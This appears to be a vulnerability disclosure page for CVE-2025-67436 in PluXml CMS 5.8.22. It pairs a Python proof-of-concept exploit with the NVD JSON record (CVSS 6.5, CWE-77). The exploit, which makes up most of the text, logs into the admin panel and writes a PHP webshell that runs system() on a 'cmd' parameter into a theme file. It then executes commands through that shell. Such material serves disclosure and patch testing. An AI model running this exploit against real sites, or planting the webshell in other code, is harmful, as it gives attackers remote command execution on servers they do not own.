CVE-2025-67436

# CVE-2025-67436 PoC - PluXml CMS Authenticated RCE # Target: PluXml CMS 5.8.22 # Attack Type: Authenticated Remote Code Execution via Theme File Injection import requests import sys from urllib.parse import quote TARGET_URL = "http://target.com/pluxml" USERNAME = "admin" PASSWORD = "admin123" THEME_NAME = "defaut" WEBSHELL_NAME = "home.php" def login(): """Authenticate to PluXml CMS admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/core/admin/auth.php" login_data = { "login": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) return session if "Logged in" in response.text else None def inject_webshell(session): """Inject malicious PHP webshell into theme file""" edit_url = f"{TARGET_URL}/core/admin/theme.php" webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" file_data = { "theme": THEME_NAME, "file": WEBSHELL_NAME, "content": webshell, "save": "1" } response = session.post(edit_url, data=file_data) return ".htaccess" in response.text or response.status_code == 200 def execute_command(session, cmd): """Execute system command via injected webshell""" shell_url = f"{TARGET_URL}/themes/{THEME_NAME}/{WEBSHELL_NAME}" params = {"cmd": cmd} response = session.get(shell_url, params=params) return response.text def main(): print("[*] CVE-2025-67436 PluXml CMS RCE Exploit") print("[*] Authenticating to admin panel...") session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Injecting webshell...") if inject_webshell(session): print("[+] Webshell injected successfully") print("[*] Executing test command...") result = execute_command(session, "whoami") print(f"[+] Command output: {result}") else: print("[-] Webshell injection failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-67436", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:08.983", "lastModified": "2026-01-02T16:58:24.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authenticated Remote Code Execution (RCE) in PluXml CMS 5.8.22 allows an attacker with administrator panel access to inject a malicious PHP webshell into a theme file (e.g., home.php)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pluxml:pluxml:5.8.22:*:*:*:*:*:*:*", "matchCriteriaId": "9396EADA-402A-4671-A91C-0B4ECF413570"}]}]}], "references": [{"url": "https://github.com/RajChowdhury240/CVE-2025-67435/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pluxml/PluXml", "source": "[email protected]", "tags": ["Product"]}]}}